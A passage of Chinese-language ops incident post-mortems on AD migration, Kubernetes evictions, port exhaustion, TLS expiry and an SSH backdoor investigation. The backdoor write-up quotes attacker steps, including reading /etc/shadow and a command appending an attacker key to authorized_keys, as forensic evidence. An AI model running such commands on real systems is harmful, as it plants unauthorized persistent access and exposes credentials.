cn=ntdsdsa,cn=\u0026lt;site\u0026gt;,cn=sites,cn=configuration,dc=... \u0026quot;msDS-Behaviour-Version\u0026quot; 与 fSMORoleOwner 比对，发现 seize 之后 RID、Infrastructure 角色在两台 DC 上不一致；DC03 强行 seize 导致其 InvocationID 改变，而 USN 序列未做权威重置，dcdiag /test:fsmo 已亮黄灯——一旦该 DC 继续向外复制，会污染其他域控的更新序列号，后果是对象被静默丢弃。\n客户端 GPO 失效根因：SYSVOL 本身不复制，客户端从 DC03 取不到新 GPT；同时 Netlogon 的 SYSVOL 共享在部分 DC 上处于非权威/权威同步的中间态，表现为 \\\\domain\\SYSVOL\\domain\\Policies 各 DC 内容不一致。配合 dcdiag /test:sysvolcheck 与 dfsrdiag，确认复制状态卡在起始阶段。\n解决方案\r立即止血，撤销错误 seize：DC03 因强行 seize 已不再干净，直接将其强制降级为成员服务器（dcpromo /forceremoval），从林中摘除，避免 USN 回滚向外扩散。FSMO 角色仍由原始 DC01/DC02 持有，先恢复单点真相。\n先迁 SYSVOL，再谈升级：在旧 DC 上按官方三阶段把 SYSVOL 从 FRS 迁到 DFSR——dfsrmig /setglobalstate 1（Prepared）、2（Redirected）、3（Eliminated），每阶段待 dfsrmig /getmigrationstate 全部返回 Eliminated 再进下一步；期间用 dfsrdiag replicationstate 确认 SYSVOL 经 DFSR 正常同步。\n稳妥加新域控：SYSVOL 已是 DFSR 后，重新提升 DC03 为 2022 域控，等 repadmin /showrepl 全 0 错误、dcdiag 全 passed，再继续后续动作。\n用 transfer 而非 seize 迁移 FSMO：通过 Move-ADDirectoryServerOperationMasterRole -Identity DC03 -OperationMasterRole Schema,Naming,RIDMaster,PDCEmulator,InfrastructureMaster（或 netdom transfer）逐一标准转移五个角色，绝不在线域控健在时 seize。\n优雅降级旧域控：确认 FSMO 全部落到新 DC 后，再用 dcpromo 把 DC01/DC02 降级为成员服务器，再次跑 dcdiag、repadmin 验收全绿。\n修复 GPO 与客户端：核对 \\\\domain\\SYSVOL\\domain\\Policies 各 DC 一致；对卡在 Applying Policy 的 PC 执行 gpupdate /force 并 klist purge，WiFi/NPS 认证随即恢复。\n根因分析\r根因有两个叠加：其一是复制引擎代差——旧环境停留在 FRS SYSVOL，而 Windows Server 2022 域控只支持 DFSR，FRS 复制链路在混合版本下必然断裂；其二是变更顺序错误——没有先完成 SYSVOL 迁移就加新 DC，且在旧角色持有者仍在线时仓促 seize FSMO，触发 USN 回滚风险。两者都是「升级前未做兼容性体检」与「未遵循标准操作顺序」导致的。\n预防措施\r升级前体检：用 dfsrmig /getmigrationstate 确认 SYSVOL 已是 DFSR，FRS 残留一律先迁再升。 严守顺序：SYSVOL 迁移 → 加新 DC（等复制完成）→ transfer FSMO → 降级旧 DC，任何一步不过验收不进下一步。 禁用随意 seize：仅当旧角色持有者确认永久离线才考虑 seize；seize 后应立即 repadmin /regkey 防 USN 回滚，或直接重装该域控。 保留回退能力：变更窗口内旧 DC 全程在线，直到新 DC 跑满观察期再降级，确保一键回退。 常态化巡检：定时调度 dcdiag / repadmin /showrepl 并对接告警，SYSVOL 复制异常第一时间发现。 总结\rAD 域控升级是高风险的「牵一发而动全身」变更，最大的两个暗坑是 SYSVOL 复制引擎（FRS → DFSR）的兼容性，以及 FSMO 迁移的顺序与方式。记住三句话：先迁移后升级、用 transfer 不用 seize、永远保留回退能力——把这三件事做在变更窗口之前，域控升级就能从「踩雷现场」变成「标准作业」。\n","date":"2026-07-14T00:00:00Z","permalink":"/posts/0f35911f/","title":"迁移 AD 域控：SYSVOL 复制断裂与 FSMO 抢占风险的定位与回退复盘"},{"content":"问题背景\r我们的生产集群由 6 个 kubeadm 搭建的节点组成，容器运行时为 containerd，跑着订单、支付、用户中心等二十余个无状态服务，外加 Prometheus、CoreDNS 等系统组件。节点是云上 ECS，系统盘 100G，且 containerd 的镜像与可写层目录（/var/lib/containerd）、容器日志目录（/var/log/containers、/var/log/pods）都落在同一块系统盘上——也就是说，kubelet 关注的 imagefs 与 nodefs 实际共用一个分区。集群已稳定运行大半年，直到一次常规发版后的第二天上午，告警把人叫醒。\n故障现象\r早上九点，监控群里连续弹出节点状态告警：3 个节点在 5 分钟内从 Ready 反复横跳到 NotReady 再恢复，行为极具节律性。同期业务侧开始抖动——订单接口 P99 从 80ms 飙到 2s 以上，部分请求返回 503。\n登录集群查看，现象更具体：\nkubectl get pod -A 里，订单服务（Deployment，期望 5 副本）可用副本在 1~2 之间反复横跳，被驱逐的 Pod 在别的节点重建后不久又被驱逐，形成「驱逐风暴」。 kubectl describe node \u0026lt;node\u0026gt; 的 Conditions 里 DiskPressure 为 True，Taints 出现 node.kubernetes.io/disk-pressure:NoSchedule。 节点上 kubelet 日志高频刷屏：Evicting pod ... because node had condition: [DiskPressure]。 登录问题节点 df -h，系统盘使用率 92%，「看起来还有空间」，但关键服务已经崩了。 排查过程\r确认驱逐类型：kubectl describe node 直接给出 DiskPressure=True 和对应的 taint，说明是磁盘压力触发了 kubelet 的软/硬驱逐，而非 OOM（内存压力会显示 MemoryPressure）。这把方向从「应用内存问题」扭到了「磁盘空间/阈值」。 对照默认驱逐阈值：kubelet 的 eviction-hard 默认是 imagefs.available\u0026lt;15%、nodefs.available\u0026lt;10%。问题节点系统盘可用 8%（100%-92%），已经低于 nodefs.available\u0026lt;10% 的硬阈值；而 imagefs 与 nodefs 共用同一分区，自然也一同越线。这正是「df 看着还有空间却被驱逐」的原因——阈值触发的是「可用量百分比」，不是「是否 100% 满」。 定位占用大户：du -sh /var/lib/containerd 占 61G，/var/log/containers + /var/log/pods 占 23G。进一步看，containerd 用默认 json-file 日志驱动且没有设置 max-size/max-file，某几个业务 Pod 因有人把日志级别临时调到 DEBUG 且忘了改回，单容器日志文件涨到 8G；镜像侧，每次发版都拉新 tag，旧镜像层从未 GC，节点上堆积了同一服务的十几个历史版本。 还原驱逐风暴链路：DiskPressure 触发后，kubelet 按 QoS 从低优先级（BestEffort/Burstable）开始驱逐 Pod；被删的 Pod 由 Deployment 在其它节点重建，但新节点同样磁盘吃紧，于是又被驱逐——形成循环。同时 NoSchedule taint 阻止 Pod 调度回原节点，但已运行 Pod 仍会因 imagefs 继续上涨被二次驱逐，节点在 Ready/NotReady 间反复横跳。 交叉验证：对比同配置但日志量小的健康节点，使用率 70%，从未触发。锁定根因——日志无轮转 + 镜像不 GC 导致 imagefs 慢性膨胀，最终越过 15%/10% 阈值。 解决方案\r止血（先恢复）：对问题节点 kubectl drain \u0026lt;node\u0026gt; --ignore-daemonsets --delete-emptydir-data 排空；手动清理——crictl rmi $(crictl images -q) 清旧镜像、truncate -s 0 超大日志文件，把使用率压到 60% 以下，节点 DiskPressure 自动解除、回到 Ready，被驱逐的 Pod 在新节点稳定重建。\n根治（调参与治理）：\n调整 kubelet 驱逐配置，给足缓冲：eviction-hard=imagefs.available\u0026lt;10%,nodefs.available\u0026lt;5%，并设 eviction-minimum-reclaim 保证单次回收量；增大 eviction-pressure-transition-period（默认 5m）避免抖动。 日志驱动改造：containerd 配置 io.containerd.grpc.v1.cri 下的 log 段，max-size=100m、max-file=3，或对关键业务接 fluentd/采集到 ES，从根上限制单文件体积。 镜像治理：节点设置 --image-gc-high-threshold=70 --image-gc-low-threshold=50，或加 cron 定期 crictl rmi 清悬空镜像。 容量隔离：把 containerd 根目录迁移到独立数据盘，分离 imagefs 与 nodefs，避免镜像/日志与系统盘互相挤占。 业务侧：评审并收敛日志级别，禁止生产环境 DEBUG 全量输出。 根因分析\r这次故障表面是「磁盘要满了」，本质是日志与镜像缺少生命周期管理，导致 imagefs 慢性膨胀越过 kubelet 驱逐阈值；而 imagefs/nodefs 共用系统盘又把风险放大了一倍。kubelet 的磁盘压力驱逐本是自我保护机制，但当阈值与容量规划不匹配、且增长源（日志/镜像）无人治理时，保护机制反而成了业务抖动源。\n预防措施\r基础设施层强制：容器日志驱动必须设 max-size/max-file，不允许裸 json-file。 节点级 imageGC 阈值 + 定期清理脚本，控制镜像层堆积。 containerd 使用独立数据盘，分离 imagefs 与 nodefs。 监控前移：对 nodefs.available/imagefs.available 设 20%/25% 告警，先于 kubelet 阈值；同时监控 Evicted/Terminating Pod 数量与节点 DiskPressure 发生次数。 建立日志级别评审机制，生产环境默认 INFO，禁止 DEBUG 常开。 总结\r磁盘压力驱逐常被误判为「磁盘 100% 满了」。真正要治理的是日志轮转、镜像 GC 与容量隔离这些基础设施层的生命周期问题，以及 eviction 阈值与容量规划的匹配——在基础设施层把增长源管住，远比在应用层一次次救火更根本。\n","date":"2026-07-13T00:00:00Z","permalink":"/posts/c0337851/","title":"一次 Kubernetes 节点磁盘压力触发 kubelet 驱逐导致业务 Pod 批量被删的排查记录"},{"content":"问题背景\r公司运维跳板机（堡垒机前的咽喉节点）是进入整个内网的单一入口，平时只允许运维同事从公司固定出口 IP 或 VPN 段以密钥方式登录，root 直接登录被禁用、口令认证被关闭。某次例行安全巡检，我在把 /var/log/secure 往 SIEM 归集时，注意到一批来源为境外云厂商段的 \u0026ldquo;Accepted publickey\u0026rdquo; 记录——但这些 IP 根本不在公司出口白名单里，团队也没人从那些地址登过机。跳板机一旦失陷，攻击者就能以此为支点横向移动打穿整个内网，因此这条异常必须立刻查清。\n故障现象\r异常登录线索非常\u0026quot;安静\u0026quot;，没有任何资源告警，但日志细节很反常：\n/var/log/secure 里大量出现 Accepted publickey for root 记录，来源 IP 多变，集中在几个境外 VPS 网段，而公司出口是固定 IP，这些地址明显不在白名单。 直觉以为是 SSH 口令爆破，但日志里完全没有 Failed password，全是直接 Accepted——说明对方用的是合法公钥，而非猜密码。 这些会话大多极短：登录后执行 whoami、cat /etc/shadow、uname -a，再 curl 下载一个小脚本后退出，没有长时间驻留，也没有挖矿进程，CPU、流量曲线平稳，传统监控毫无反应。 last / wtmp 显示对应会话确实存在，但 lastlog 里这些来源此前从未出现。 fail2ban 没有拦截，因为它默认只针对密码失败计数，公钥免密登录根本不触发其规则。 最关键的矛盾点：登录成功了，但持有凭据的\u0026quot;人\u0026quot;不是我们。这已经不是探测，而是后门已经落地。\n排查过程\r第一直觉要纠正：看到 SSH 异常，很多人先查爆破，但 Failed password 一条都没有，说明问题不在\u0026quot;猜密码\u0026quot;，而在\u0026quot;已有合法钥匙\u0026quot;。于是排查方向立刻转向密钥与信任链。\n1. 确认登录方式与账号。 grep \u0026quot;Accepted\u0026quot; /var/log/secure | tail -n 50 显示全部是 publickey，账号清一色 root 或高权运维账号，来源 IP 集中在几个境外段。结合背景（已禁用 root 直接登录、关闭口令），能公钥登 root 的，只能是写进 authorized_keys 的钥匙。\n2. 直奔密钥文件。 检查 /root/.ssh/authorized_keys，发现文件末尾多出两长串陌生公钥，注释名还故意伪装成 gitlab-runner、jenkins-deploy 这类可信身份，混在团队正常密钥之间，不仔细 diff 根本看不出来。用 ssh-keygen -l -f authorized_keys 列出指纹，陌生的那两把正是境外会话用到的公钥。\n3. 还原写入时机。 stat /root/.ssh/authorized_keys 看到 mtime 落在某次\u0026quot;看似正常\u0026quot;的发布窗口。翻 history 与 bash 审计日志，定位到当时有一行被夹在正常命令里的 echo \u0026quot;ssh-rsa AAAA... attacker\u0026quot; \u0026gt;\u0026gt; ~/.ssh/authorized_keys——执行者要么是已被控的运维终端，要么是利用泄漏凭据自动化写入的脚本。\n4. 追溯初始入侵链。 往后翻 /var/log/secure 与开发机日志，发现数日前有一次来自内网某开发机的登录记录，该开发机此前踩过内部 pip 源投毒（恶意依赖包），攻击者在开发机上拿到了跳板机的长期私钥后登录，再\u0026quot;公钥落地\u0026quot;完成持久化。也就是说，后门只是第二步，第一步是开发机凭据泄漏。\n5. 排查其他持久化与篡改。 不能只看 authorized_keys：依次检查 crontab -l、/etc/cron.*、systemd timer、/etc/rc.local、/etc/profile.d/、/etc/ld.so.preload（LD_PRELOAD 劫持）、/etc/pam.d/（是否被追加 pam_permit 或恶意模块）、以及 /etc/ssh/sshd_config（PermitRootLogin、PasswordAuthentication 是否被偷偷改回 yes）。本例仅发现 authorized_keys 被改，其余干净，但仍需全量轮转凭据。\n6. 评估横向影响。 在 secure 里检索从该跳板机主动发起的、到其他内网主机的 ssh 记录，并检查 ~/.ssh/known_hosts、~/.ssh/config 里记录的跳板目标与已可达密钥，确认攻击者是否借跳板机进一步移动。本例横向动作有限，但为保险仍按\u0026quot;已失陷\u0026quot;处置。\n解决方案\r立即止血（清除）： 从 /root/.ssh/authorized_keys 中剔除所有陌生公钥，只保留配置管理系统（Ansible）下发的受控密钥；清理后 chmod 600 并 chattr +i 设为不可变，防止再次被追加。同时吊销并轮转所有从该跳板机可达的密钥与口令，强制离线重置 root 口令。\n重建信任（而非杀进程）： 由于后门是\u0026quot;持久化+信任链污染\u0026quot;，简单 kill 会话没用——对方随时能再用那把公钥登回来。正确做法是将跳板机从网络隔离，用干净镜像或可信备份重建系统，重建后才重新接入。保留原始磁盘镜像与日志用于取证与上报。\n阻断入口： 在堡垒机/防火墙层把 SSH 来源收敛为公司出口 IP + VPN 段，公网一律拒绝直达；给 fail2ban 增加规则——对短时间内出现多个陌生来源 Accepted publickey 的情况做临时封禁与告警。\n取证留存： 全程保留镜像、内存与日志副本，记录 IOC（可疑 IP、公钥指纹、下载脚本哈希），同步给安全团队做归因与威胁情报沉淀。\n根因分析\r根因是\u0026quot;信任链被植入\u0026quot;。攻击者先通过开发机的恶意依赖/凭据泄漏取得跳板机初始访问权，再向 authorized_keys 写入自有公钥，把\u0026quot;需要口令或受控私钥\u0026quot;的门槛，降为\u0026quot;持有另一把私钥即可\u0026quot;，形成免密持久化后门。它绕过了密码爆破检测，也比 XMRig 类挖矿更隐蔽——不占资源、不触发传统告警，只为长期保留一道安静的门。真正的破绽不是\u0026quot;登录成功\u0026quot;，而是\u0026quot;成功来源不该成功\u0026quot;。\n预防措施\r收敛信任： 禁止 root 直接 SSH，关闭 PasswordAuthentication，仅允许受控密钥；authorized_keys 只能由 Ansible 等配置管理写入，写完后 chattr +i 设为不可变，并监控其哈希变化。 来源白名单： 跳板机 SSH 只允许公司出口 IP 与 VPN，公网拒绝；统一收口到堡垒机，杜绝主机直连。 入侵检测： 部署 auditd 监控 ~/.ssh 目录写操作与 sshd_config 变更；HIDS 对\u0026quot;新公钥落地\u0026quot;告警；日志集中到 SIEM，对\u0026quot;Accepted publickey 且来源非白名单\u0026quot;做实时规则。 最小权限与隔离： 跳板机不长期存放业务密钥，改用 Vault 等即时凭证；开发机与跳板机网络隔离，避免凭据跨域污染。 供应链与凭据治理： 内部 pip/npm 源做包完整性校验（哈希/签名），CI 凭据最小权限并定期轮换，从第一步掐断初始入侵链。 总结\r这次事故最大的教训是：免密登录成功 ≠ 安全，反而可能是后门已落地的信号。和显眼的挖矿木马不同，authorized_keys 后门不消耗资源、不触发传统告警，只是安静地替攻击者保留一道门。排查的关键，是从\u0026quot;Accepted publickey 但来源可疑\u0026quot;这一反常切入，顺藤摸到被篡改的密钥文件与背后的初始入侵链。防御上，把信任收口到堡垒机 + 来源白名单 + 不可变密钥文件，远比事后清剿重要——门装好了，后门就无从落地。\n","date":"2026-07-12T07:00:00Z","permalink":"/posts/b0613189/","title":"内网服务器为何频频出现来源不明的免密 SSH 登录？一次 authorized_keys 后门排查实录"},{"content":"问题背景\r我们有一个订单聚合服务（Go 编写，跑在 8 核 16G 的云主机上），它的职责是接收前端下单请求后，再去调用下游的库存、优惠券、风控三个内部 HTTP 接口，把结果聚合返回。日常 QPS 在 3000 左右，一直很稳。\n某天上午做了一次营销活动，流量涨到平时的 3~4 倍。活动开始约 20 分钟后，监控告警开始刷屏：订单服务的下游调用成功率从 99.9% 掉到 70% 以下，前端下单大面积超时。奇怪的是，被调用的库存、优惠券、风控三个服务自身指标都正常，CPU、内存、响应时间没有任何异常——问题明显出在\u0026quot;调用方\u0026quot;这一侧。\n故障现象\r登录订单服务所在主机，第一时间看应用日志，发现海量报错，几乎每秒都在刷：\n1 2 3 dial tcp 10.20.3.11:8080: connect: cannot assign requested address dial tcp 10.20.3.12:8080: connect: cannot assign requested address dial tcp 10.20.3.13:8080: connect: cannot assign requested address 三个下游 IP 全部中招，且都是同一个报错：cannot assign requested address。这个报错对应的 errno 是 EADDRNOTAVAIL。\n几个关键现象：\n报错是间歇性爆发的：有时候一批请求全部成功，紧接着一批又全部失败，呈现\u0026quot;一阵一阵\u0026quot;的规律。 服务自身的 CPU 只有 40% 左右，内存充足，GC 正常，完全不是资源打满的样子。 下游服务端全程健康，网络到下游的 ping/traceroute 也没有丢包和延迟抖动。 重启订单服务后，报错会消失几分钟，然后卷土重来。 cannot assign requested address 这个错误很有指向性：它不是\u0026quot;连不上对端\u0026quot;（那是 connection refused 或 timeout），而是本机在发起连接、准备分配一个本地端口时就失败了。也就是说，本机的可用源端口（ephemeral port）不够用了。\n排查过程\r第一步：确认端口占用情况\rTCP 主动发起连接时，内核会从本地临时端口范围里挑一个空闲端口作为源端口。先看这个范围：\n1 2 $ cat /proc/sys/net/ipv4/ip_local_port_range 32768 60999 也就是可用临时端口约 60999 - 32768 = 28231 个。看起来不算少，但在高并发短连接场景下并不够。\n再统计当前 TCP 连接状态分布：\n1 2 3 4 5 $ ss -ant | awk \u0026#39;{print $1}\u0026#39; | sort | uniq -c | sort -rn 26841 TIME-WAIT 2013 ESTAB 47 LISTEN 12 SYN-SENT 问题一下就清晰了：TIME-WAIT 高达 2.6 万条，几乎把 28231 个临时端口范围占满了。剩下能分配的端口寥寥无几，内核挑不到空闲端口，就直接返回 EADDRNOTAVAIL。\n第二步：搞清楚 TIME_WAIT 是谁产生的\r进一步看这些 TIME_WAIT 连的是谁：\n1 2 3 4 $ ss -ant state time-wait | awk \u0026#39;{print $4}\u0026#39; | sed \u0026#39;s/:[0-9]*$//\u0026#39; | sort | uniq -c | sort -rn 9021 10.20.3.11 8890 10.20.3.12 8720 10.20.3.13 全部指向三个下游服务的 IP。也就是说，是订单服务作为客户端，主动关闭了与下游的连接，从而在本机堆积了大量 TIME_WAIT（TIME_WAIT 始终出现在主动关闭连接的一方）。\n为什么会有这么多短连接？拉出这个服务调用下游的 HTTP 客户端代码看，发现问题所在：\n1 2 3 4 5 6 // 有问题的写法：每次调用都新建 client func callInventory(req Req) (*Resp, error) { client := \u0026amp;http.Client{Timeout: 2 * time.Second} resp, err := client.Post(url, \u0026#34;application/json\u0026#34;, body) ... } 每次请求都 new 一个 http.Client，用完即弃。Go 的连接复用（keep-alive）依赖于复用同一个 Transport/Client；每次新建 Client 会创建全新的 Transport，请求结束后连接无法进入连接池被复用，直接被关闭，于是每一次下游调用都变成一条\u0026quot;建连—请求—主动关闭\u0026quot;的短连接。\n流量放大 3~4 倍后，短连接产生速率超过了 TIME_WAIT 的回收速率（默认 2*MSL = 60s），端口于是被迅速耗尽。这也解释了为什么报错是\u0026quot;一阵一阵\u0026quot;的：端口耗尽 → 报错 → 部分 TIME_WAIT 到期释放 → 又能分配一批 → 再次耗尽。\n第三步：排除内核参数误配\r顺手确认了两个常被误用的内核参数：\n1 2 3 4 $ sysctl net.ipv4.tcp_tw_reuse net.ipv4.tcp_tw_reuse = 0 $ sysctl net.ipv4.tcp_tw_recycle # 无输出，高版本内核已移除该参数 tcp_tw_recycle 在 NAT 环境下会导致丢包，早已在 4.12 内核被删除，不能用。tcp_tw_reuse 是安全的，允许在协议安全的前提下复用处于 TIME_WAIT 的端口给新的对外连接使用，但当时是关闭状态。\n解决方案\r分两步走：先止血，再根治。\n1. 紧急止血（内核层面，无需改代码即可缓解）\n1 2 3 4 # 允许复用 TIME_WAIT 端口用于新的对外连接（客户端安全） sysctl -w net.ipv4.tcp_tw_reuse=1 # 适当扩大临时端口范围 sysctl -w net.ipv4.ip_local_port_range=\u0026#34;10000 65535\u0026#34; 改完后端口从约 2.8 万可用扩到约 5.5 万，加上 tw_reuse 复用，报错率立刻从 30% 降到 2% 以下，先把活动扛过去。写入 /etc/sysctl.conf 持久化：\n1 2 net.ipv4.tcp_tw_reuse = 1 net.ipv4.ip_local_port_range = 10000 65535 2. 根治（应用层面，复用连接）\n真正的病根是短连接。把 HTTP 客户端改成全局单例并配置好连接池：\n1 2 3 4 5 6 7 8 var httpClient = \u0026amp;http.Client{ Timeout: 2 * time.Second, Transport: \u0026amp;http.Transport{ MaxIdleConns: 200, MaxIdleConnsPerHost: 100, // 关键：默认只有 2，必须调大 IdleConnTimeout: 90 * time.Second, }, } 重点是 MaxIdleConnsPerHost：Go 默认每个 host 只保留 2 个空闲连接，超出的连接用完即关，同样会退化成短连接。调大后，与每个下游之间维持一个稳定的长连接池，请求走 keep-alive 复用，几乎不再新建/关闭连接。\n改造上线后再看：\n1 2 3 4 $ ss -ant | awk \u0026#39;{print $1}\u0026#39; | sort | uniq -c | sort -rn 1980 ESTAB 210 TIME-WAIT 47 LISTEN TIME_WAIT 从 2.6 万降到 200 出头，端口耗尽问题彻底消失，下游调用成功率回到 99.99%。\n根因分析\r根因是应用层错误地使用 HTTP 客户端，导致对下游全部退化为短连接，在流量翻倍后短连接产生速率超过 TIME_WAIT 回收速率，本地临时端口被 TIME_WAIT 占满，内核无法为新连接分配源端口，抛出 EADDRNOTAVAIL（cannot assign requested address）。\n内核默认的临时端口范围偏小、tcp_tw_reuse 未开启，是放大问题的次要因素；但即使不调内核，只要连接正确复用，也不会触发此问题。所以内核调优是\u0026quot;缓解\u0026quot;，连接复用才是\u0026quot;根治\u0026quot;。\n预防措施\rHTTP/DB/RPC 客户端一律复用：使用全局单例 Client，显式配置连接池（尤其 MaxIdleConnsPerHost），杜绝\u0026quot;每次请求 new 一个 client\u0026quot;。 监控 TIME_WAIT 与端口水位：把 ss -ant state time-wait | wc -l 和临时端口范围利用率纳入监控，设置阈值告警（如占用 \u0026gt; 70% 报警），做到端口耗尽前就发现。 合理设置内核参数：客户端主机开启 net.ipv4.tcp_tw_reuse=1、适当扩大 ip_local_port_range；绝不启用 tcp_tw_recycle（NAT 下会丢包，新内核已移除）。 压测覆盖连接维度：上线前的压测不仅看 QPS 和延迟，还要观察连接状态分布，提前暴露短连接问题。 区分错误语义：把 connection refused（对端拒绝）、timeout（超时/丢包）、cannot assign requested address（本机端口耗尽）在告警里分类，减少误判方向的时间。 总结\rcannot assign requested address 是个非常\u0026quot;点题\u0026quot;的错误——它几乎总是在告诉你：不是网络问题，也不是对端问题，而是本机的临时端口不够用了。这次故障的表象是下游调用失败，容易让人往网络和被调用方去查，但真正的病根在调用方自己的连接管理上。\n一句话经验：高并发服务，连接一定要复用。TIME_WAIT 堆积、端口耗尽这类问题，内核参数只能缓解，正确复用连接才是根治之道。排查时先用 ss -ant | sort | uniq -c 看一眼连接状态分布，往往几秒钟就能锁定方向。\n","date":"2026-07-11T07:00:00Z","permalink":"/posts/1925cf22/","title":"一次服务本地端口耗尽导致对外调用大量 Cannot assign requested address 的排查记录"},{"content":"问题背景\r公司对外业务网关 www.example.com 与多个内部微服务之间的相互调用均强制走 HTTPS。证书由 Let\u0026rsquo;s Encrypt 通过 certbot 自动签发，原本配置了 cron 定时续期，团队一直以为\u0026quot;证书会自动续，不用管\u0026quot;。某周一早晨 8 点多，陆续收到一线同事反馈与监控告警：官网打不开、移动端 App 登录失败、订单回调大面积超时。此时距离上次\u0026quot;证书无感知续期\u0026quot;已过去约 3 个月——而 Let\u0026rsquo;s Encrypt 证书有效期只有 90 天。这次，自动续期并没有像预期那样静默完成，而是已经连续失败了两三个月。\n故障现象\r浏览器访问 https://www.example.com 被直接拦截，地址栏红色警告：NET::ERR_CERT_DATE_INVALID，点开详情提示\u0026quot;证书已过期\u0026quot;。 移动端 App 登录接口（https://api.example.com/login）返回网络错误，抓包发现 TLS 握手阶段即被客户端中断。 内部订单服务调用支付回调域名时，Java 侧抛出 sun.security.validator.ValidatorException: PKIX path validation failed: java.security.cert.CertPathValidatorException: timestamp check failed（证书时间校验失败）。 Nginx error.log 出现大量 SSL 相关报错，但 Nginx 进程本身正常监听 443，说明不是服务挂了，而是证书本身失效。 关键特征：故障是\u0026quot;突然全量爆发\u0026quot;而非渐进，且与当天发布无关——当天没有任何上线操作。 排查过程\r第一步，确认是不是证书过期。 直接看对外域名的证书：\n1 2 3 4 echo | openssl s_client -servername www.example.com -connect www.example.com:443 2\u0026gt;/dev/null \\ | openssl x509 -noout -dates -subject # notBefore=May 12 00:13:42 2026 GMT # notAfter=Aug 10 00:13:42 2026 GMT ← 哎？还没过期？ 咦，浏览器说过期，openssl 说没过期？这说明 443 上跑的证书根本不是我们以为的那张——前面还有一层 CDN / 负载均衡（SLB）在终结 TLS，客户端拿到的是 CDN 的证书，而源站 Nginx 证书是另一张。于是分别检查两端：\n1 2 3 4 5 6 7 # 看客户端真实拿到的（经 CDN） curl -vI https://www.example.com 2\u0026gt;\u0026amp;1 | grep -i \u0026#39;expire\\|subject\u0026#39; # 直接打源站（绕过 CDN，用 hosts 或内网 IP） echo | openssl s_client -connect 10.20.30.40:443 \\ | openssl x509 -noout -enddate # notAfter=Jul 10 23:59:59 2026 GMT ← 昨天到期！ 真相浮现：CDN 回源到源站用的是一张独立签发的源站证书，这张证书昨天 23:59 到期，而 CDN 对外证书是正常的。由于\u0026quot;全站 HTTPS 强制 + CDN 回源也强制 HTTPS\u0026quot;，一旦源站证书过期，CDN 回源握手失败，整站雪崩。\n第二步，为什么自动续期没生效？ 查 certbot 续期日志与 cron：\n1 2 3 systemctl list-timers | grep certbot certbot renew --dry-run # 模拟续期 # 报错：Failed to bind to port 80 (HTTP-01 challenge) ... Address already in use 原来上季度新上线了一个内部运维平台，默认占用了 80 端口做 Web 管理，而 certbot 的 HTTP-01 校验需要临时监听 80 端口响应 ACME 挑战。新服务把 80 抢走了，certbot 续期连续两三个月都在凌晨静默失败，cron 的 stdout 被丢弃没人看，证书就这样悄悄走向过期。\n第三步，确认影响面。 不只 www 和 api，所有经 CDN 回源到源站 HTTPS 的域名（共 5 个）全部中招，因为源站证书是通配符 *.example.com 单张，一损俱损。\n解决方案\r紧急止血（5 分钟）：\n临时让 CDN 回源改用 HTTP（关闭回源 HTTPS 校验），先把业务跑起来，代价是回源链路明文（内网可接受，限时）。 同时把抢占 80 端口的运维平台改到 8080，腾出 80 给 certbot。 彻底修复（30 分钟）：\n1 2 3 4 5 6 # 停掉占用 80 的服务后强制续期 systemctl stop ops-platform certbot renew --force-renewal # 成功后立即把新证书 reload 进 Nginx nginx -s reload # 恢复 CDN 回源 HTTPS 验证：\n1 2 3 4 5 echo | openssl s_client -connect 10.20.30.40:443 \\ | openssl x509 -noout -enddate # notAfter=Oct 08 00:13:42 2026 GMT ← 续上，90 天 curl -sI https://www.example.com | head -1 # HTTP/2 200 根因分析\r根因是\u0026quot;单点证书 + 续期依赖被悄悄破坏 + 缺乏过期监控\u0026quot;三件事叠加：\n全站回源强依赖一张源站证书，无冗余，证书一过期即全局故障——这是架构上的脆弱性。 certbot HTTP-01 校验强依赖 80 端口，而 80 被新服务抢占后，续期失败但无任何告警，形成\u0026quot;静默降级\u0026quot;。 没有任何对证书剩余有效期的监控，过期前无提醒，只能等故障发生才发现。 预防措施\r监控优先：在 Prometheus/黑盒监控里加入证书有效期探针（ssl_exporter 或定期 curl check），剩余 \u0026lt; 21 天自动告警到 IM/电话。 续期去端口化：改用 DNS-01 校验（certbot 的 --dns 插件），不再依赖 80 端口，避免被其他服务干扰；或用 CNAME 把 _acme-challenge 指向 certbot 托管区。 解耦回源：CDN 回源可短暂容忍自签/内部 CA 证书，或源站证书与对外证书分离并各自监控，避免单张证书拖垮全站。 续期结果可见：cron 里 certbot renew 的退出码要接入监控，非 0 即告警，杜绝静默失败。 缩短排障半径：明确\u0026quot;CDN 对外证书 ≠ 源站证书\u0026quot;，建立证书台账（域名、签发方、到期日、责任人）。故障第一步先 openssl x509 -enddate 比对客户端与实际终结点拿到的证书，而不是凭浏览器报错下结论。 总结\r这次故障最\u0026quot;坑\u0026quot;的地方在于：现象是浏览器报证书过期，但 openssl 直连却显示正常——因为中间隔了一层 CDN，客户端看到的证书和源站证书是两回事。排查 HTTPS 类问题，第一性原则是\u0026quot;分清 TLS 在哪一层被终结\u0026quot;。\n另外，证书自动续期从来不是\u0026quot;配一次就高枕无忧\u0026quot;。只要续期链路上的任何依赖（端口、DNS、权限）被改动，它就会静默失效。把\u0026quot;证书有效期监控 + 续期结果告警\u0026quot;作为标配，远比依赖 cron 不报错来得靠谱。\n","date":"2026-07-11T07:00:00Z","permalink":"/posts/8f18423e/","title":"一次SSL/TLS证书过期导致全站HTTPS访问失败与API调用报证书错误的排查实录"},{"content":"问题背景\r业务核心交易服务完成容器化改造，整体迁移到自建 Kubernetes 集群（v1.24，kubelet 运行时 containerd）。某次版本发布后，运维在发布系统里看到该服务的 Deployment 长时间处于 Progressing 状态，副本数始终为 0/3。发布流水线反复重试仍无法拉起实例，上游网关已开始零星返回 502。由于当天还有其它变更在并行进行，最初的怀疑点被分散到了网络策略、镜像仓库和节点资源上，排查一度走偏。\n故障现象\rkubectl get pod -n trade 显示 3 个 Pod 全部处于 CrashLoopBackOff 状态，RESTARTS 列以肉眼可见的速度从 3、5、8 一路上涨，最短的十几秒就被重启一次。kubectl describe pod 的 Events 里反复出现：\n1 2 Liveness probe failed: HTTP probe failed with statusCode: 503 Back-off restarting failed container Pod 的 Conditions 中 Ready 一直是 False。有意思的是，用 kubectl logs 看容器标准输出，发现应用进程其实在跑、日志里还在打印 loading config / connecting to mysql 这类启动日志，并没有真正崩溃退出——它只是还没\u0026quot;活\u0026quot;过来就被杀掉了。\n排查过程\r第一步，区分\u0026quot;进程崩溃\u0026quot;和\u0026quot;被探针杀掉\u0026quot;。因为 RESTARTS 持续上涨但日志显示进程停在启动中途，基本可以排除 OOMKilled（OOM 会有 